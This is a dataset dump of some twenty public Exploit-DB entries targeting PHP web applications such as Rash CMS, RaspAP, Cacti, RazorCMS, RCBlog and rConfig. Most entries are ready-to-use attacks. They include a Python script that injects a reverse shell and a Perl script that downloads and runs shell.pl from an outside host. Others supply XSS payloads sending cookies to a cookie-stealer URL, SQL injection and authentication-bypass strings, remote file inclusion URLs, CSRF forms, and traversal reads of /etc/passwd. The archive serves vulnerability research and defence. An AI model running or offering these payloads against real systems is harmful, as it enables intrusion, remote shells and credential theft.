deardaniel/secdata-raw huggingface dataset:
Exploit-DB #17106
Description: Rash CMS - SQL Injection
Type: webapps
Platform: php
Date: 2011-04-03
Author: keracker

Exploit:
==========================================
Rash CMS SQL Injection Vulnerability
==========================================

[~]######################################### InformatioN
#############################################[~]

[~] Title     : Rash CMS SQL Injection Vulnerability
[~] Author    : keracker
[~] Vendor or Software Link  : http://rashcms.com
[~] Email     : keracker@gmail.com
[~] Data  : 2011-04-01
[~] Google dork: ":: RashCMS :: - :: MihanPHP ::"
[~] Category:  [Webapps]
[~] Tested on: [Windows /php]

[~]#########################################   ExploiT
#############################################[~]

[~] Vulnerable File :

http://127.0.0.1/module/contact/contact-config.php
 LINE: 54
 CODE:
 $q = $d->getrows("SELECT `u_id` FROM `permissions` WHERE
`access_admin_area`='1' AND `u_id`=$_POST[reciver]",true);

  go to
 http://127.0.0.1/index.php?module=contact

 You have to post injection code in "reciver"
 you can use LIVE HTTP HEADERS firefox addone to exploit it
 like this:
 name=%D8%B4&email=a%40d.com&site=s&tell=1234567&reciver=-1+union+all+select+version()--&text=aaaaaaa&RashCMS=777577&submit=%D8%A7%D8%B1%D8%B3%D8%A7%D9%84+%D9%BE%DB%8C%D8%A7%D9%85
Demo:
 http://intrepidrealty.net/rashcms.GIF
[~]######################################### ThankS To ...
############################################[~]

[~] IRANIAN Young HackerZ # Persian Gulf

[~]#########################################   FinisH :D
#############################################[~]################[~]
Exploit-DB #50224
Description: RaspAP 2.6.6 - Remote Code Execution (RCE) (Authenticated)
Type: webapps
Platform: php
Date: 2021-08-23
Author: Moritz Gruber

Exploit:
# Exploit Title: RaspAP 2.6.6 - Remote Code Execution (RCE) (Authenticated)
# Date: 23.08.2021
# Exploit Author: Moritz Gruber <moritz@aware7.de>
# Vendor Homepage: https://raspap.com/
# Software Link: https://github.com/RaspAP/raspap-webgui
# Version: 2.6.6
# Tested on: Linux raspberrypi 5.10.52-v7+

import requests
from requests.api import post
from requests.auth import HTTPBasicAuth
from bs4 import BeautifulSoup
import sys, re

if len(sys.argv) != 7:
    print("python3 exec-raspap.py <target-host> <target-port> <username> <password> <reverse-host> <reverse-port>")
    sys.exit()
else:  
    target_host = sys.argv[1]
    target_port = sys.argv[2]
    username = sys.argv[3]
    password = sys.argv[4]
    listener_host = sys.argv[5]
    listener_port = sys.argv[6]

    endpoint = "/wpa_conf"
    exploit = f"python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{listener_host}\",{listener_port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
    url = "http://{}:{}/{}".format(target_host,target_port,endpoint)

    s = requests.Session()

    get_Request = s.get(url, auth=HTTPBasicAuth(username, password))
    soup = BeautifulSoup(get_Request.text, "lxml")
    csrf_token = soup.find("meta",{"name":"csrf_token"}).get("content")
   
    post_data = {
        "csrf_token": csrf_token,
        "connect": "wlan; {}".format(exploit)
    }
    post_Request = s.post(url, data=post_data, auth=HTTPBasicAuth(username, password))
    if post_Request.status_code:
        print("Exploit send.")
    else:
        print("Something went wrong.")
    print("Done")
Exploit-DB #50199
Description: RATES SYSTEM 1.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2021-08-13
Author: Azumah Foresight Xorlali

Exploit:
# Exploit Title: RATES SYSTEM 1.0 - Authentication Bypass
# Date: 2020-08-13
# Exploit Author: Azumah Foresight Xorlali (M4sk0ff)
# Vendor Homepage: https://www.sourcecodester.com/php/14904/rates-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14904&title=RATES+SYSTEM+in+PHP+Free+Source+Code
# Version: Version 1.0
# Category: Web Application
# Tested on: Kali Linux

Description: The  authentication bypass vulnerability on the application allows an attacker to log in as Client. This vulnerability affects the "username" parameter on the client login page: http://localhost/rates/login.php

Step 1: On the login page, simply use  the query inside the bracket ( ' OR 1 -- - ) as username

Step 2: On the login page, use same query{ ' OR 1 -- -} or anything  as password

All set you should be logged in as Client.
Exploit-DB #25927
Description: RaXnet Cacti 0.5/0.6.x/0.8.x - 'Graph_Image.php' Remote Command Execution Variant
Type: webapps
Platform: php
Date: 2005-07-01
Author: Alberto Trivero

Exploit:
source: https://www.securityfocus.com/bid/14129/info

RaXnet Cacti is prone to a remote command execution vulnerability that manifests in the 'graph_image.php' script. The issue is due to a bug in the input filters that leads to a failure in the application to properly sanitize user-supplied input.

This issue can facilitate various attacks including unauthorized access to an affected computer. 

#!/usr/bin/perl
#
# Remote Command Execution Exploit for Cacti <= 0.8.6d
#
# This exploit open a remote shell on the targets that uses Cacti
# TARGET HOST MUST BE A GNU/LINUX SERVER, if not:
# manual exploiting -->
http://www.example.com/cacti/graph_image.php?local_graph_id=[valid_value]&gr
aph_start=%0a[command]%0a
# Patch: download the last version http://www.cacti.net/download_cacti.php
# Discovered and Coded by Alberto Trivero

use LWP::Simple;

print "\n\t===============================\n";
print "\t= Exploit for Cacti <= 0.8.6d =\n";
print "\t=      by Alberto Trivero     =\n";
print "\t===============================\n\n";

if(@ARGV<2 or !($ARGV[1]=~m/\//)) {
   print "Usage:\nperl $0 [target] [path]\n\nExamples:\nperl $0
www.example.com /cacti/\n";
   exit(0);
}

$page=get("http://".$ARGV[0].$ARGV[1]."graph_view.php?action=list") || die
"[-] Unable to retrieve: $!";
print "[+] Connected to: $ARGV[0]\n";
$page=~m/local_graph_id=(.*?)&/ || die "[-] Unable to retrieve a value for
local_graph_id";
print "[~] Sending exploiting request, wait for some seconds/minutes...\n";
get("http://".$ARGV[0].$ARGV[1]."graph_image.php?local_graph_id=$1&graph_sta
rt=%0acd /tmp;wget http://albythebest.altervista.org/shell.pl;chmod 777
shell.pl;perl shell.pl%0a");
print "[+] Exploiting request done!\n";
print "[*] Now try on your box: nc -v $ARGV[0] 4444\n";
Exploit-DB #25857
Description: RaXnet Cacti 0.5/0.6/0.8 - 'Config_Settings.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-06-20
Author: Maciej Piotr Falkiewicz

Exploit:
source: https://www.securityfocus.com/bid/14028/info

RaXnet Cacti is prone to a remote file include vulnerability.

The problem presents itself specifically when an attacker passes the location of a remote attacker-specified script through the 'config_settings.php' script.

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/include/config_settings.php?config[include_path]=http://www.example2.com/
Exploit-DB #25859
Description: RaXnet Cacti 0.5/0.6/0.8 - 'Top_Graph_Header.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-06-20
Author: Maciej Piotr Falkiewicz

Exploit:
source: https://www.securityfocus.com/bid/14030/info

RaXnet Cacti is prone to a remote file include vulnerability.

The problem presents itself specifically when an attacker passes the location of a remote attacker-specified script through the 'top_graph_header.php' script.

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/path_of_cacti/include/top_graph_header.php?config[library_path]=http://www.exmpale2.com/
Exploit-DB #24375
Description: RaXnet Cacti 0.6.x/0.8.x - 'Auth_Login.php' SQL Injection
Type: webapps
Platform: php
Date: 2004-07-16
Author: Fernando Quintero

Exploit:
source: https://www.securityfocus.com/bid/10960/info

RaXnet Cacti is reportedly affected by a remote SQL injection vulnerability. This issue occurs in the auth_login.php script due to a failure of the application to properly sanitize user-supplied "username" URI parameter input before using it in an SQL query.

It is demonstrated that an attacker may exploit this vulnerability in order to bypass the authentication interface used by Cacti.

username = admin' or '6'='6
[CREDENTIAL_REDACTED] wished

insert into data_input_data_cache (local_data_id, host_id,
data_input_id, action, command, hostname, snmp_community,
snmp_version, snmp_username, snmp_password, snmp_port, snmp_timeout,
rrd_name, rrd_path, rrd_num, arg1, arg2, arg3)
values ('9', '1', '7', '1', 'cat /etc/passwd;id;somecommand; some
script', '127.0.0.1', '', '1', '', '', '161', '500',
'hack', '/', '3', 'NULL', 'NULL', 'NULL');

Then points to http://www.example.com/cacti/cmd.php and the command will be
executed.
Exploit-DB #4685
Description: Rayzz Script 2.0 - Local/Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-12-01
Author: Crackers_Child

Exploit:
+______________________________________________By Crackers_Child___________________________________________+

*
*
*    [~] Script.......:       Rayzz Script 2.0
*    [~] Download.....:       http://rapidshare.com/files/40333745/rayzz_new_6726.rar  (Nulled)
*    [~] Author.......:       Crackers_Child  | cybermilitan@hotmail.com & localexploit@hotmail.com
*    [~] Class........:       Local File Inclusion
*    [~] Demo.........:       http://rayzz.net/rayzzdemo/
+_______________________________________________________________________________________________________________________+


+_______________________________________________________________________________________________________________________+
*
*
*     
*
*       [~] Exploit Lfi...: http://[Taget]/[script_path]/common/classes/class_HeaderHandler.lib.php?CFG[site][project_path]=localfile%00 / remote http://
*
*                             
+_______________________________________________________________________________________________________________________+



        [~] iNF0......:   F3CK Y0UR simple Lf3
                      



+_______________________________________________________________________________________________________________________+

+_______________________________________________________________________________________________________________________+
*
*
*       [~] Special Thanx.......:    str0ke, BiyoSecurity.Net, SiberSavascilar.com And All F3ckers :)
*
+_______________________________________________________________________________________________________________________+

# milw0rm.com [2007-12-01]
Exploit-DB #32924
Description: RazorCMS 0.3RC2 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2009-04-16
Author: Jeremi Gosney

Exploit:
source: https://www.securityfocus.com/bid/34566/info

razorCMS is prone to a local information-disclosure vulnerability, a local access-validation vulnerability, a security-bypass vulnerability, and multiple cross-site-scripting vulnerabilities.

Attackers can exploit these issues to gain access to sensitive information, create denial-of-service conditions, gain elevated privileges, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. Successful exploits may aid in further attacks.

razorCMS 0.3RC2 is vulnerable; other versions may also be affected.

http://www.example.com/cms/admin/?action=edit&slab=home&#039;><script>alert(&#039;http://yourcookiestealer.org/evil.php?cookie=&#039;%20+%20encodeURI(document.cookie)%20+%20&#039;&useragent=&#039;%20+%20encodeURI(navigator.userAgent));</script><form

http://www.example.com/cms/admin/?action=showcats&unpub=true&slabID=1&catname=sidebar&#039;><script>alert(&#039;http://yourcookiestealer.org/evil.php?cookie=&#039;%20+%20encodeURI(document.cookie)%20+%20&#039;&useragent=&#039;%20+%20encodeURI(navigator.userAgent));</script><form

http://www.example.com/cms/admin/?action=reordercat&cat=sidebar&#039;><script>alert(&#039;http://yourcookiestealer.org/evil.php?cookie=&#039;%20+%20encodeURI(document.cookie)%20+%20&#039;&useragent=&#039;%20+%20encodeURI(navigator.userAgent));</script><form&param=0,1
Exploit-DB #34040
Description: RazorCMS 1.0 - '/admin/index.php' HTML Injection
Type: webapps
Platform: php
Date: 2010-05-24
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/40373/info

razorCMS is prone to an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.

razorCMS 1.0 Stable is vulnerable; other versions may also be affected. 

<form action="http://www.example.com/admin/?action=edit&slab=home" method="post" name="main" > <input type="hidden" name="title" value="Home" /> <input name="content" type="hidden" value='hello"><script>alert("2"+document.cookie)</script>' /> <input type="hidden" name="ptitle" value="" /> <input type="hidden" name="theme" value="theme-default" /> <input type="hidden" name="check_sidebar" value="sidebar" /> <input type="hidden" name="save" value="Save Content" /> </form> <script> document.main.submit(); </script>
Exploit-DB #18574
Description: RazorCMS 1.2.1 STABLE - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-03-08
Author: i2sec_Hyo jun Oh

Exploit:
# Exploit Title: RazorCMS <= 1.2.1 STABLE File Upload Vulnerability
# Google Dork: 
﻿# Date: 2012-02-26
# Author: i2sec_Hyo jun Oh
# Software Link: http://www.razorcms.co.uk/archive/core/razorCMS_core_v1_2_1_STABLE.zip 
# Version: RazorCMS 1.2.1
# Tested on: Windows XP

Upload a file extension did not check.

Destination

1. user login
2. user upload webshell
3. Run sebshell  ----- <host>/datastore/webshell.php
Exploit-DB #18575
Description: RazorCMS 1.2.1 Stable - Cross-Site Request Forgery (Delete Web Pages)
Type: webapps
Platform: php
Date: 2012-03-08
Author: Ivano Binetti

Exploit:
+------------------------------------------------------------------------------------------------------------------------------------+
# Exploit Title : RazorCMS <= 1.2.1 STABLE CSRF (Delete Web Pages)
# Date          : 08-03-2012
# Author        : Ivano Binetti (http://www,ivanobinetti.com)
# Software link : http://www.razorcms.co.uk/archive/core/razorCMS_core_v1_2_1_STABLE.zip
# Vendor site   : http://www.razorcms.co.uk/
# Version       : 1.2.1 STABLE and lower 
# Tested on     : Debian Squeeze (6.0) 
+------------------------------------------------------------------------------------------------------------------------------------+

Summary
1)Introduction
2)Vulnerabilities Description
3)Exploit (Delete Web Page) 
  
+------------------------------------------------------------------------------------------------------------------------------------+
1)Introduction
"razorCMS is ideally suited to small to medium website projects, it can be run without need for a database, due to it's flat file
structure it has no need for a database meaning it can also be a cost effected method in content management, allowing it to be 
used on the cheapest of web hosts, or even free hosting".

2)Vulnerabilities Description
RazorCMS 1.2.1 STABLE (and lower)  is affected by CSRF Vulnerability which allows an attacker to delete web pages, both published 
and unpublished.

3)Exploit (Delete Web Page)  
<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit to add ADMIN account</H2>
<form method="POST" name="form0" action="http://<razorcms_ip>:80/razorcms/admin/?action=showcats&unpub=true&slabID=2&catname=sidebar">
</body>
</html>

In this POC I've deleted web page with ID=2 
 
+------------------------------------------------------------------------------------------------------------------------------------+
Exploit-DB #34858
Description: RBS Change Complet Open Source 3.6.8 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2014-10-02
Author: Krusty Hack

Exploit:
# Exploit Title: RBS Change Complet Open Source CSRF
# Google Dork: intext:"une réalisation rbs"
# Date: 10/01/2014
# Exploit Author: KrustyHack
# Vendor Homepage: http://www.rbschange.fr/
# Software Link: http://www.rbschange.fr/addons/distributions/RBS-Change-complet-Open-Source,67203.html
# Version: 3.6.8
# Tested on: Linux

HOW TO
======

Just add [img="http://CSRF"][/img] on forum signature or forum posts.

TEST
====

Based on demo.rbschange.fr:
---------------------------

[img="http://server/fr/deconnexion/"][/img]

Will disconnect all users who load the image.

Other example:
--------------

[img="http://www.example.com/log.php"][/img]

<?php
$ip = $_SERVER['REMOTE_ADDR'];
$ip_proxy = $_SERVER['HTTP_X_FORWARDED_FOR'];
$rem_port = $_SERVER['REMOTE_PORT'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$rqst_method = $_SERVER['METHOD'];
$rem_host = $_SERVER['REMOTE_HOST'];
$referer = $_SERVER['HTTP_REFERER'];

file_put_contents("log.txt", "[".date('l jS \of F Y h:i:s A')."] [$ip_proxy]$ip -  $rem_port - $user_agent - $rqst_method - $rem_host - $referer\n", FILE_APPEND);

?>

To get users ip, user agent, ...


DESCRIPTION
===========

Add a product to a customer basket with an image tag and without any verification.

HOW TO
======

Just add [img="/action/order/AddToCart?shopId=13159&productId=13312"][/img] on forum signature or forum posts.
Exploit-DB #27118
Description: RCBlog 1.0.3 - 'index.php' Directory Traversal
Type: webapps
Platform: php
Date: 2006-01-20
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/16342/info

RCBlog is prone to a directory-traversal vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the webserver process. Information obtained may aid in further attacks.

Version 1.0.3 is vulnerable; other versions may also be affected.

#!/usr/bin/perl
#
# RCBlog 1.0.3 / 1.0.2
# Exploit by Hessam-x (www.hessamx.net)
# Name    : RCBlog (www.fluffington.com
# version : 1.0.3 / 1.0.2
# manual exploiting:
# index.php?%20post=../config/password
#
use LWP::Simple;

print "-------------------------------------------\n";
print "=            RCBlog 1.0.3 / 1.0.2         =\n";
print "=       By Hessam-x  - www.hackerz.ir     =\n";
print "-------------------------------------------\n\n";


        print "Target(http://www.example.com)\> ";
        chomp($targ = <STDIN>);

        print "Path: (/rcblog/)\>";
        chomp($path=<STDIN>);

$url = "index.php?%20post=../config/password";
$page = get($targ.$path.$url) || die "[-] Unable to retrieve: $!";
print "[+] Connected to: $targ\n";
$page =~ m/<div class="title">(.*?)<\/div>/ && print "[+] MD5 [Username]   [Password]:\n $1\n";
print "[-] Unable to retrieve User ID\n" if(!$1);
Exploit-DB #7830
Description: RCBlog 1.03 - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-01-19
Author: Danny Moules

Exploit:
Vendor: http://noahmedling.com
Version(s): RCBlog 1.03 (May also affect earlier versions)
Credit: Danny Moules
Critical: Yes

See PUSH 55 Advisory at https://www.push55.co.uk/index.php?s=ad&id=4

----

By default, the application provides public access to the text file which stores the MD5 hashes of the username/password and these can be found at:

http://www.example.com/rcblog/config/password.txt

These two hashes represent the username (first) and the password (second).

By default these are 9d0aea34e0f22cff881feb82c79ce76a and e20eeabd7d13800e1c30043b269fbc86 respectively.

We need two more hashes to fake the required credentials:

One is the MD5 hash of $_SERVER['PHP_SELF'] which is in this case "/rcblog" -> ad624ca84b593d66e3685e83e4a3618e

The other is the the MD5 hash of the public IP of the user, let's say "192.168.1.5" -> 2e9e9f7c017ee2a1645a236d182fb28c

Finally we combine the hashes into one large string and craft it in a "rcb_id" cookie in the following order:

Directory -> IP Address -> Username -> Password

Resulting in:

9d0aea34e0f22cff881feb82c79ce76ae20eeabd7d13800e1c30043b269fbc86ad624ca84b593d66e3685e83e4a3618e2e9e9f7c017ee2a1645a236d182fb28c

We are then logged in with administrative privileges.

# milw0rm.com [2009-01-19]
Exploit-DB #5972
Description: RCM Revision Web Development - 'products.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-30
Author: Niiub

Exploit:
##########################################################
#
#	RCM Revision Web Development (products.php) SQL Injection Vulnerability
#
#	by D3m0n a.k.a Niiub
#
#	Home: www.bl4ck-b0x.info
#
#	niiub[at]bl4ck-b0x.info
#
##########################################################


##########################################################

Exploit:

products.php?cat=-1%20union%20select%201,2,3,4,concat_ws(0x3a,user_name,
user_password),6%20from%20users/*

OR

/gr/products.php?cat=-1%20union%20select%201,2,3,4,concat_ws(0x3a,user_name,
user_password),6%20from%20users/*

##########################################################

Note: There can by diffrent number of Table, you have to search.

Note2: The admin Panel is www.site.com/admin/ but i can't login with the 
Password and Login name from the SQL Injection.  :( 

##########################################################

Greetz: dun - sid_psycho - Kacper - Str0ke

###########################################################

# milw0rm.com [2008-06-30]
Exploit-DB #39898
Description: rConfig 3.1.1 - Local File Inclusion
Type: webapps
Platform: php
Date: 2016-06-06
Author: Gregory Pickett

Exploit:
Title
===================
rConfig, the open source network device configuration management tool, Vulnerable to Local File Inclusion

Summary
===================
rConfig, the open source network device configuration management tool, is vulnerable to local file inclusion in /lib/crud/downloadFile.php.  downloadFile.php allows authenticated users to download any file on the server.

Affected Products
===================
rConfig 3.1.1 and earlier 

CVE
===================
N/A

Details
===================
rConfig, the open source network device configuration management tool, is vulnerable to local file inclusion in /lib/crud/downloadFile.php.  downloadFile.php allows authenticated users to download any file on the server.  This is because downloadFile.php does not check the download_file parameter before it uses it.  It merely opens and sends the file in the parameter to the user.  As long as the account running the web server has access to it, rConfig will open it and send it.

Verification of Vulnerability
===================
The following steps can be carried out in duplicating this vulnerability.

Step 1: 
Enter the following into your browser address bar:

  http://<SERVER>/lib/crud/downloadFile.php?download_file=/etc/passwd

Step 2: 
Confirm that the passwd file is valid

Impact
===================
Information Disclosure.  User privileges and unauthorized access to the system.

Credits
===================
Gregory Pickett (@shogun7273), Hellfire Security